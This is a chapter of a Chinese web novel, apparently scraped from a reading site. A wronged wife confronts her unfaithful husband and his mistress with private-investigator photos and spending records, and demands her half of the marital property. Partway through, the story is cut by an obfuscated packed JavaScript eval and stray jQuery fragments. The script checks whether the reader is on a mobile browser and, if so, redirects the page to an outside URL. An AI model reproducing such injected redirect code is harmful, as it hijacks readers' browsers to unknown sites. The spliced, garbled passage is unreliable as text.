“你既然承认了你婚内出轨的事实,那我们现在就来谈一谈财产分割的问题。”
正闹成一团的王仁和王仁娜耳朵敏锐地捕捉到了‘财产’二字,愣了一愣。
趁这时,王仁一把抓住胡闹的王仁娜的双手,猛地朝墙壁一推,王仁娜重重撞在墙上摔了一个踉跄,掩面呜呜呜地哭。
原本兴高采烈地来当老板娘的,结果闹得个脸也没了,男人也没了,全场没有一个人在乎她。
但她只是默默地又爬回到了椅子上,抹了把鼻涕眼泪,捋了捋头发,又把王子荣抱在怀里捂住他的嘴,然后目不转睛地盯着虞晓莲。
人这一辈子不就活个‘钱’吗?
不然她这样的身段、容貌,干嘛要去给人当小三?
终于熬到头了,虽然不是很体面的方式,但总归是到这一步了,王仁娜心里打定主意,这会儿就算有十个壮汉拖她走,她也绝对不走。
分财产了!这时候谁想踢她出局?没门!
王仁的喉结动了动,沙哑道:“老婆,你想清楚了?”
丁思南实在被这对狗男女恶心坏了,又是翻白眼又是深吸气又是‘啧啧啧’的,心里的厌恶全都写在了脸上,差点把齐修远逗笑了。
虞晓莲开始从资料袋里一份一份地掏资料。
一叠高清照片丢在了桌上。
王仁扫了一眼,脸刷白。
“老婆,你…你找人跟踪我,偷拍我?”
他知道自己今天说什么都没用了,虞晓莲找了私家侦探,即便没有王仁娜,这些照片也能坐实他出轨的事实。
“原来你早就不相信我了,亏我还一直觉得愧对你,诚心诚意地补偿你…”
王仁自嘲地笑了笑。
呵。果然。
渣男都是一个套路,假装道歉发现没有用了,就从刁钻的角度来给对方泼脏水,似乎只要给对方揪出错来,就能显得他做的一切都是不得已的。
虞晓莲不入套,接着从资料袋里往外甩材料。
“‘超越教育’这些年从外省到槐市,所有账上的钱你每个月都往外提,家里的家用是我出的,自购的两套房子都写在你的名下。”
丁思南倒吸一口冷气。
几乎所有的资产,都与她毫无关系。
说到这里虞晓莲顿了顿,声线几不可闻地发颤。
直面残酷的现实是艰难的,而这现实恰恰证明了她的天真,或是愚蠢。
那么一瞬间她情绪差点要崩溃,但她撑住了,随即平复住心情,继续往下说。
“我从没问你要过钱,从没让你上交过收入,供应商那头还有4家至少有一半款子没给人家付,你透支了公司账上的钱花去哪儿了?”
不等王仁回答。
又是一叠资料甩出来,里面夹杂着王仁娜银行账户的复印件。
“你养的姘头,外省高中毕业后在当地的KTV上夜班,后来转业去了酒吧卖酒,之后就跟了你。每个月的转账记录在这里,我就不提了,我想你比我更清楚。这个女人跟了你之后再也没有上过一天班,但是存下了34万2千,呵呵,确实是持家能手,适合你。”
虞晓莲扫了一眼王仁娜全身的名牌,懒得提了。
“‘超越教育’反正是你一个人的股份,那就留给你吧,从明天开始,我正式辞职。工资我算好之后会让律师联系你,一分也别想少。”
“你以各种名义背着我花出去的夫妻共同财产部分,我统计过了。”
虞晓莲朝王仁推过去一刀纸,上头详细地记载着王仁花在外室身上的金额和条目,封面后面是密密麻麻的明细,足足有十几页,小到电话费,大到房租和信用卡账单,王仁翻了翻头几页,两眼一黑。
“这些钱里有我的一半。”
“公司亏空的账是你欠的,你全权负责,花在你姘头母子身上的钱,我那一半你必须退还给我,一共27万8。你们俩谁出?”
虞晓莲的情绪稳定之后,一气呵成,再听不出波动,仿佛在叙述一件别人的事情。
王仁和王仁娜面面相觑,神情复杂。
王仁娜本在一边热血澎湃地听候王仁能分到多少钱,听着听着觉出味儿来了,貌似钱都花出去了,债却留下了一堆,不妙啊…
“那都是王仁自己的钱,他爱花给谁就花给谁,凭什么要退还?你管不住自己老公的心,怪你自己没用!”
王仁娜对法律上的夫妻共同财产根本一窍不通,她以为虞晓莲因为被抢了老公所以无端端地提出无理要求来气她的。
王仁娜气得推了一把王仁,蹙着眉抱怨一通:“你说过你的钱就是我的钱,你负责让我过上好日子,我负责岁月静好貌美如花,其他我什么都不需要操心。信用卡、供应商的欠款...这些债是怎么回事啊?我先说好了,你给我的就是我的,至于你怎么弄来的钱,怎么欠下的债,我一概都不清楚,与我无关,别来问我!”
她负气转身,背对着王仁。
“没关系,你们慢慢想,今天我有的是时间。”
虞晓莲懒得理这对法盲癫公癫婆,她双手环胸,往椅背上靠。
事已成定局。
齐修远帮虞晓莲咨询过家里的律师,如果今天王仁不肯答应协议离婚并退还财产,那么走诉讼离婚她也是不亏的。
证据确凿,王仁名下的财产情况、经济支出、几张卡几套房子全都调查的一清二楚,若要想转移财产立刻申请冻结,王仁现在只有被动挨打的份儿,打官司顶多花点时间花点钱,虞晓莲耗得起。
但到时候必然是撕破脸的局面,虞晓莲不会再替王仁保留任何一丝脸面。
齐修远百无聊赖地陪着等,他要看到想要的结果才安心。
丁思南听了这些,感觉自己扎扎实实地上了一节实战课,她的脑中飞快地把这里的情况和在家里啃到的一部分法律知识联系在了一起。
原来晓莲姐当初不动声色,是不想打草惊蛇。
原来她早就在暗中开始调查,收集好证据,就准备给王仁一击致命,打他个措手不及。
其实她根本就没有犹豫,她还是和前世那般,一旦触及原则,就无法原谅。
虞晓莲不愧是自己当初一眼就看中的榜样。
不过和她比起来,自己要面临的困局,比这难的多。
沈家和王仁,根本就不是一个级别的。
夫妻共同财产...丁思南忽然打了一个寒颤。
那她在老街买的那套老屋,她在银行存入的金条和钱,还有在西区新房子的份额,岂非也都属于她和沈时的共有的‘夫妻共同财产’
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894672|171101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?
那她费了半天劲,等于白白替沈时把家业做大啦?
丁思南的双眼逐渐无法聚焦,这如同当头一棒,将她这一多月以来的信心和干劲全部打散。
她内心慌乱无比。
怎么办...
必须要和沈时离婚,要快。
趁他还没发现自己名下有这些财产.....沈家是吃人不吐骨头的恶鬼,这一世如果还重蹈上一世的覆辙,那还不如现在就一头撞死算了。
“好…要离婚是吧?”
王仁冰冷的声音将丁思南的思绪又拉回到了现场。
王仁收起了可怜的嘴脸,“虞晓莲,你准备的挺完善啊?就在这儿等着我跳呢是吧?你们都TM是一伙儿的是吧?”
他环顾了在场的人,现在才明白过来自己这是被坑了。
王仁扫了一眼虞晓莲一方已经草拟好的离婚协议书,回想自己竟然被当傻子一样耍的团团转,三两下将离婚协议书撕了个粉碎。
“我是公司唯一的股东,公司的钱就是我的钱,我愿意给谁花就给谁花,什么有你的一半?你做梦呢?”
“我不同意离婚,我不离!要离,除非你净身出户,放弃一切财产权利,无论是家里的还是这里的一把椅子、一支铅笔、一分一毫你都别想带走!否则,你这辈子都别想甩掉我!”
虞晓莲眼睫微微颤动,她不是没有想过走到这一步,只是当真的亲身经历的时候,是那么的不真实,明明一直告诫自己要冷静,可是心跳就是不由控制地加速,连呼吸都急促起来。
她自嘲地笑了笑,最后一次认认真真地环顾着这家公司的角角落落,就像母亲的目光深深地抚过已经长大成人的孩子,过去为此付出的所有血与汗,仿佛仍历历在目。
很痛很痛的教训,纯纯是为自己当年的眼瞎买单了。
理智上,虞晓莲早已做足了万全准备,包括昔日‘恩爱夫妻’对簿公堂,此刻而言她已无话可说,她把所有的资料重新装袋,淡漠地留下一句话,头也不回地走出了会客室的大门。
“法庭见。”
门一打开,扒在门口一大堆的好事者失去重心,如潮水一般朝门内跌倒。
首当其冲的正是刘舒雅,她不好意思地从地上爬起来,摸了摸后脑勺,虞晓莲伸手扶了一把,只温柔道:“小心”,随后旁若无人地回到了自己的办公室,理一理东西就离开了公司。
刘舒雅凑到丁思南身边来,仔细打量了王仁娜母子俩陌生的面孔,里边闹得这么大声,她扒在门框上都听了个七八成,自然打量的眼神中带着不善。
大家最好奇的就是王仁包养的外室了,她们都是虞晓莲的兵,虞晓莲一出去她们就把会客室围地水泄不通,叽叽呱呱大声地讨论着是哪个不要脸的小三惹到她们老板娘头上来。
王仁娜急忙拿杂志挡在脸上,紧紧地抱住王子荣大气也不敢出。
丁思南对着刘舒雅咬耳朵,把前因后果说了一遍。
“真离?”刘舒雅握紧拳头,“呸!便宜她们了。”
可不吗?丁思南冷哼。
虞晓莲一走,山中无老虎,猴子称大王。
王仁阴鸷地瞪着齐修远,摆明了是要跟剩下的人一个个算账:“齐老板,我待你不薄吧?你却在背后□□一刀?”